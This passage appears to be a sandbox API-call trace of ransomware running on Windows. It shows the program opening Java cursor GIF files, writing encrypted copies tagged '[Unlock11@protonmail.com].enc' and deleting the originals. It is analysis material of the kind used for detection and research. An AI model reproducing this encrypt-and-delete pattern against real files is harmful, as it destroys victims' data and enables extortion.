0x0 [0133.007] GetLastError () returned 0x0 [0133.007] GetLastError () returned 0x0 [0133.007] GetCurrentThreadId () returned 0x9b0 [0133.007] GetLastError () returned 0x0 [0133.007] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eada0 | out: hHeap=0x2ad0000) returned 1 [0133.007] GetLastError () returned 0x0 [0133.008] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6078 | out: hHeap=0x2ad0000) returned 1 [0133.008] GetLastError () returned 0x0 [0133.008] GetLastError () returned 0x0 [0133.008] GetLastError () returned 0x0 [0133.008] GetCurrentThreadId () returned 0x9b0 [0133.008] GetLastError () returned 0x0 [0133.008] GetLastError () returned 0x0 [0133.008] GetLastError () returned 0x0 [0133.008] GetLastError () returned 0x0 [0133.008] GetLastError () returned 0x0 [0133.009] GetCurrentThreadId () returned 0x9b0 [0133.009] GetLastError () returned 0x0 [0133.009] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0133.009] GetCurrentThreadId () returned 0x9b0 [0133.009] GetLastError () returned 0x0 [0133.009] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d61e0 | out: hHeap=0x2ad0000) returned 1 [0133.009] GetLastError () returned 0x0 [0133.009] GetLastError () returned 0x0 [0133.009] GetLastError () returned 0x0 [0133.009] GetCurrentThreadId () returned 0x9b0 [0133.009] GetLastError () returned 0x0 [0133.010] GetLastError () returned 0x0 [0133.010] GetLastError () returned 0x0 [0133.010] GetLastError () returned 0x0 [0133.010] GetLastError () returned 0x0 [0133.010] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0133.010] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xa5)) returned 1 [0133.010] GetLastError () returned 0x0 [0133.010] GetCurrentThreadId () returned 0x9b0 [0133.010] GetLastError () returned 0x0 [0133.010] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2408 | out: hHeap=0x2ad0000) returned 1 [0133.011] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366be6c | out: pbBuffer=0x366be6c) returned 1 [0133.011] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0133.011] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0133.011] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0133.011] GetCurrentThreadId () returned 0x9b0 [0133.011] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaff8 [0133.011] GetLastError () returned 0x0 [0133.011] GetLastError () returned 0x0 [0133.011] GetLastError () returned 0x0 [0133.011] GetLastError () returned 0x0 [0133.011] GetCurrentThreadId () returned 0x9b0 [0133.012] GetLastError () returned 0x0 [0133.012] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaff8 | out: hHeap=0x2ad0000) returned 1 [0133.012] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaff8 [0133.012] GetCurrentThreadId () returned 0x9b0 [0133.012] GetLastError () returned 0x0 [0133.012] GetLastError () returned 0x0 [0133.012] GetLastError () returned 0x0 [0133.012] GetLastError () returned 0x0 [0133.012] GetCurrentThreadId () returned 0x9b0 [0133.012] GetLastError () returned 0x0 [0133.013] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaff8 | out: hHeap=0x2ad0000) returned 1 [0133.013] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de648 [0133.013] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a5980 | out: hHeap=0x2ad0000) returned 1 [0133.013] GetLastError () returned 0x0 [0133.013] GetLastError () returned 0x0 [0133.013] GetLastError () returned 0x0 [0133.013] GetLastError () returned 0x0 [0133.013] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0133.013] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de5d8 [0133.013] GetLastError () returned 0x0 [0133.013] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0133.014] GetFileType (hFile=0x39c) returned 0x1 [0133.014] GetLastError () returned 0x0 [0133.014] GetCurrentThreadId () returned 0x9b0 [0133.014] GetLastError () returned 0x0 [0133.014] GetFileType (hFile=0x39c) returned 0x1 [0133.014] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0133.014] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.014] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.014] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.014] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.014] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.015] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.015] GetLastError () returned 0x0 [0133.015] GetCurrentThreadId () returned 0x9b0 [0133.015] GetLastError () returned 0x0 [0133.015] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de5d8 | out: hHeap=0x2ad0000) returned 1 [0133.015] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2358 | out: hHeap=0x2ad0000) returned 1 [0133.015] GetLastError () returned 0x0 [0133.015] GetLastError () returned 0x0 [0133.015] GetLastError () returned 0x0 [0133.015] GetLastError () returned 0x0 [0133.015] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0133.016] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de5d8 [0133.016] GetLastError () returned 0x0 [0133.016] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0133.016] GetFileType (hFile=0x3ac) returned 0x1 [0133.016] GetLastError () returned 0x0 [0133.016] GetCurrentThreadId () returned 0x9b0 [0133.016] GetLastError () returned 0x0 [0133.016] GetFileType (hFile=0x3ac) returned 0x1 [0133.017] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0133.017] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.017] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.017] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.017] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.017] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.017] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.017] GetLastError () returned 0x0 [0133.017] GetCurrentThreadId () returned 0x9b0 [0133.017] GetLastError () returned 0x0 [0133.017] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de5d8 | out: hHeap=0x2ad0000) returned 1 [0133.017] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d61e0 | out: hHeap=0x2ad0000) returned 1 [0133.017] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881090 [0133.018] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0133.018] GetLastError () returned 0x0 [0133.018] GetLastError () returned 0x0 [0133.018] GetCurrentThreadId () returned 0x9b0 [0133.018] GetLastError () returned 0x0 [0133.018] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0133.018] GetLastError () returned 0x0 [0133.018] GetLastError () returned 0x0 [0133.018] GetCurrentThreadId () returned 0x9b0 [0133.018] GetLastError () returned 0x0 [0133.018] GetLastError () returned 0x0 [0133.019] GetLastError () returned 0x0 [0133.020] GetCurrentThreadId () returned 0x9b0 [0133.020] GetLastError () returned 0x0 [0133.020] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de648 | out: hHeap=0x2ad0000) returned 1 [0133.020] GetCurrentThreadId () returned 0x9b0 [0133.020] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xc8) returned 0x35b9700 [0133.020] GetLastError () returned 0x0 [0133.020] GetLastError () returned 0x0 [0133.020] GetLastError () returned 0x0 [0133.020] GetLastError () returned 0x0 [0133.021] GetCurrentThreadId () returned 0x9b0 [0133.021] GetLastError () returned 0x0 [0133.021] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35b9700 | out: hHeap=0x2ad0000) returned 1 [0133.021] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881090 [0133.021] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0133.021] GetLastError () returned 0x0 [0133.021] GetLastError () returned 0x0 [0133.021] GetCurrentThreadId () returned 0x9b0 [0133.021] GetLastError () returned 0x0 [0133.021] GetLastError () returned 0x0 [0133.022] GetLastError () returned 0x0 [0133.022] GetCurrentThreadId () returned 0x9b0 [0133.022] GetLastError () returned 0x0 [0133.022] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8618 | out: hHeap=0x2ad0000) returned 1 [0133.022] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0133.022] GetLastError () returned 0x0 [0133.023] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0133.023] CloseHandle (hObject=0x3ac) returned 1 [0133.023] GetLastError () returned 0x0 [0133.023] GetCurrentThreadId () returned 0x9b0 [0133.023] GetLastError () returned 0x0 [0133.023] GetLastError () returned 0x0 [0133.023] CloseHandle (hObject=0x39c) returned 1 [0133.024] GetLastError () returned 0x0 [0133.024] GetCurrentThreadId () returned 0x9b0 [0133.024] GetLastError () returned 0x0 [0133.024] GetLastError () returned 0x0 [0133.024] GetLastError () returned 0x0 [0133.024] GetLastError () returned 0x0 [0133.024] GetLastError () returned 0x0 [0133.024] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif")) returned 1 [0133.025] GetLastError () returned 0x0 [0133.025] GetCurrentThreadId () returned 0x9b0 [0133.025] GetLastError () returned 0x0 [0133.025] GetCurrentThreadId () returned 0x9b0 [0133.026] GetLastError () returned 0x0 [0133.026] GetLastError () returned 0x0 [0133.026] GetLastError () returned 0x0 [0133.026] GetLastError () returned 0x0 [0133.026] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif", lpFilePart=0x9bada4*="win32_CopyNoDrop32x32.gif") returned 0x4f [0133.026] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0133.026] GetCurrentThreadId () returned 0x9b0 [0133.026] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0133.026] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0133.026] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0133.026] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaee0 [0133.027] GetLastError () returned 0x0 [0133.027] GetLastError () returned 0x0 [0133.027] GetLastError () returned 0x0 [0133.027] GetLastError () returned 0x0 [0133.027] GetCurrentThreadId () returned 0x9b0 [0133.027] GetLastError () returned 0x0 [0133.027] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaee0 | out: hHeap=0x2ad0000) returned 1 [0133.027] GetCurrentThreadId () returned 0x9b0 [0133.027] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eada0 [0133.027] GetLastError () returned 0x0 [0133.028] GetLastError () returned 0x0 [0133.028] GetLastError () returned 0x0 [0133.028] GetLastError () returned 0x0 [0133.028] GetCurrentThreadId () returned 0x9b0 [0133.028] GetLastError () returned 0x0 [0133.028] GetLastError () returned 0x0 [0133.028] GetLastError () returned 0x0 [0133.028] GetLastError () returned 0x0 [0133.028] GetLastError () returned 0x0 [0133.028] GetCurrentThreadId () returned 0x9b0 [0133.028] GetLastError () returned 0x0 [0133.029] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eada0 | out: hHeap=0x2ad0000) returned 1 [0133.029] GetLastError () returned 0x0 [0133.029] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6168 | out: hHeap=0x2ad0000) returned 1 [0133.029] GetLastError () returned 0x0 [0133.029] GetLastError () returned 0x0 [0133.029] GetLastError () returned 0x0 [0133.029] GetCurrentThreadId () returned 0x9b0 [0133.029] GetLastError () returned 0x0 [0133.029] GetCurrentThreadId () returned 0x9b0 [0133.029] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a768 [0133.029] GetLastError () returned 0x0 [0133.030] GetLastError () returned 0x0 [0133.030] GetLastError () returned 0x0 [0133.030] GetLastError () returned 0x0 [0133.030] GetCurrentThreadId () returned 0x9b0 [0133.030] GetLastError () returned 0x0 [0133.030] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a768 | out: hHeap=0x2ad0000) returned 1 [0133.030] GetLastError () returned 0x0 [0133.030] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6078 | out: hHeap=0x2ad0000) returned 1 [0133.030] GetLastError () returned 0x0 [0133.030] GetLastError () returned 0x0 [0133.030] GetLastError () returned 0x0 [0133.031] GetCurrentThreadId () returned 0x9b0 [0133.031] GetLastError () returned 0x0 [0133.031] GetLastError () returned 0x0 [0133.031] GetLastError () returned 0x0 [0133.031] GetLastError () returned 0x0 [0133.031] GetLastError () returned 0x0 [0133.031] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0133.031] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x99)) returned 1 [0133.031] GetLastError () returned 0x0 [0133.031] GetCurrentThreadId () returned 0x9b0 [0133.032] GetLastError () returned 0x0 [0133.032] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2778 | out: hHeap=0x2ad0000) returned 1 [0133.032] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366bb74 | out: pbBuffer=0x366bb74) returned 1 [0133.032] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0133.032] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3c68 [0133.032] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0133.032] GetCurrentThreadId () returned 0x9b0 [0133.032] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaf30 [0133.032] GetLastError () returned 0x0 [0133.032] GetLastError () returned 0x0 [0133.032] GetLastError () returned 0x0 [0133.033] GetLastError () returned 0x0 [0133.033] GetCurrentThreadId () returned 0x9b0 [0133.033] GetLastError () returned 0x0 [0133.033] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaf30 | out: hHeap=0x2ad0000) returned 1 [0133.033] GetCurrentThreadId () returned 0x9b0 [0133.033] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eae68 [0133.033] GetLastError () returned 0x0 [0133.033] GetLastError () returned 0x0 [0133.033] GetLastError () returned 0x0 [0133.033] GetLastError () returned 0x0 [0133.034] GetCurrentThreadId () returned 0x9b0 [0133.034] GetLastError () returned 0x0 [0133.034] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0133.034] GetFileType (hFile=0x39c) returned 0x1 [0133.034] GetCurrentThreadId () returned 0x9b0 [0133.034] GetLastError () returned 0x0 [0133.034] GetFileType (hFile=0x39c) returned 0x1 [0133.034] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0133.034] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.035] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.035] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.035] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.035] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.035] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.035] GetCurrentThreadId () returned 0x9b0 [0133.035] GetLastError () returned 0x0 [0133.035] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0133.035] GetFileType (hFile=0x3ac) returned 0x1 [0133.036] GetCurrentThreadId () returned 0x9b0 [0133.036] GetLastError () returned 0x0 [0133.036] GetFileType (hFile=0x3ac) returned 0x1 [0133.036] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0133.036] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.036] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.036] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.036] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.037] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.037] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.037] GetCurrentThreadId () returned 0x9b0 [0133.037] GetLastError () returned 0x0 [0133.037] GetCurrentThreadId () returned 0x9b0 [0133.037] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0133.037] GetCurrentThreadId () returned 0x9b0 [0133.037] GetLastError () returned 0x0 [0133.037] GetCurrentThreadId () returned 0x9b0 [0133.037] GetLastError () returned 0x0 [0133.038] GetCurrentThreadId () returned 0x9b0 [0133.038] GetLastError () returned 0x0 [0133.038] GetCurrentThreadId () returned 0x9b0 [0133.038] GetLastError () returned 0x0 [0133.039] GetCurrentThreadId () returned 0x9b0 [0133.039] GetCurrentThreadId () returned 0x9b0 [0133.039] GetLastError () returned 0x0 [0133.039] GetCurrentThreadId () returned 0x9b0 [0133.039] GetLastError () returned 0x0 [0133.043] CloseHandle (hObject=0x3ac) returned 1 [0133.043] GetCurrentThreadId () returned 0x9b0 [0133.043] GetLastError () returned 0x0 [0133.043] CloseHandle (hObject=0x39c) returned 1 [0133.043] GetCurrentThreadId () returned 0x9b0 [0133.043] GetLastError () returned 0x0 [0133.043] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif")) returned 1 [0133.044] GetLastError () returned 0x0 [0133.044] GetCurrentThreadId () returned 0x9b0 [0133.044] GetLastError () returned 0x0 [0133.045] GetLastError () returned 0x0 [0133.045] GetLastError () returned 0x0 [0133.045] GetLastError () returned 0x0 [0133.045] GetLastError () returned 0x0 [0133.045] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif", lpFilePart=0x9bada4*="win32_LinkDrop32x32.gif") returned 0x4d [0133.045] GetCurrentThreadId () returned 0x9b0 [0133.045] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0133.045] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0133.045] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0133.045] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0133.046] GetCurrentThreadId () returned 0x9b0 [0133.046] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eae68 [0133.046] GetLastError () returned 0x0 [0133.046] GetLastError () returned 0x0 [0133.046] GetLastError () returned 0x0 [0133.046] GetLastError () returned 0x0 [0133.046] GetCurrentThreadId () returned 0x9b0 [0133.046] GetLastError () returned 0x0 [0133.046] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eae68 | out: hHeap=0x2ad0000) returned 1 [0133.046] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eadf0 [0133.047] GetLastError () returned 0x0 [0133.047] GetLastError () returned 0x0 [0133.047] GetLastError () returned 0x0 [0133.047] GetLastError () returned 0x0 [0133.047] GetCurrentThreadId () returned 0x9b0 [0133.047] GetLastError () returned 0x0 [0133.047] GetCurrentThreadId () returned 0x9b0 [0133.047] GetLastError () returned 0x0 [0133.047] GetLastError () returned 0x0 [0133.047] GetLastError () returned 0x0 [0133.047] GetLastError () returned 0x0 [0133.048] GetCurrentThreadId () returned 0x9b0 [0133.048] GetLastError () returned 0x0 [0133.048] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eadf0 | out: hHeap=0x2ad0000) returned 1 [0133.048] GetLastError () returned 0x0 [0133.048] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d60f0 | out: hHeap=0x2ad0000) returned 1 [0133.048] GetLastError () returned 0x0 [0133.048] GetLastError () returned 0x0 [0133.048] GetLastError () returned 0x0 [0133.048] GetCurrentThreadId () returned 0x9b0 [0133.048] GetLastError () returned 0x0 [0133.048] GetLastError () returned 0x0 [0133.049] GetLastError () returned 0x0 [0133.049] GetLastError () returned 0x0 [0133.049] GetLastError () returned 0x0 [0133.049] GetCurrentThreadId () returned 0x9b0 [0133.049] GetLastError () returned 0x0 [0133.049] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a868 | out: hHeap=0x2ad0000) returned 1 [0133.049] GetLastError () returned 0x0 [0133.049] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6618 | out: hHeap=0x2ad0000) returned 1 [0133.049] GetLastError () returned 0x0 [0133.049] GetLastError () returned 0x0 [0133.049] GetLastError () returned 0x0 [0133.050] GetCurrentThreadId () returned 0x9b0 [0133.050] GetLastError () returned 0x0 [0133.050] GetLastError () returned 0x0 [0133.050] GetLastError () returned 0x0 [0133.050] GetLastError () returned 0x0 [0133.050] GetLastError () returned 0x0 [0133.050] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0133.050] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, 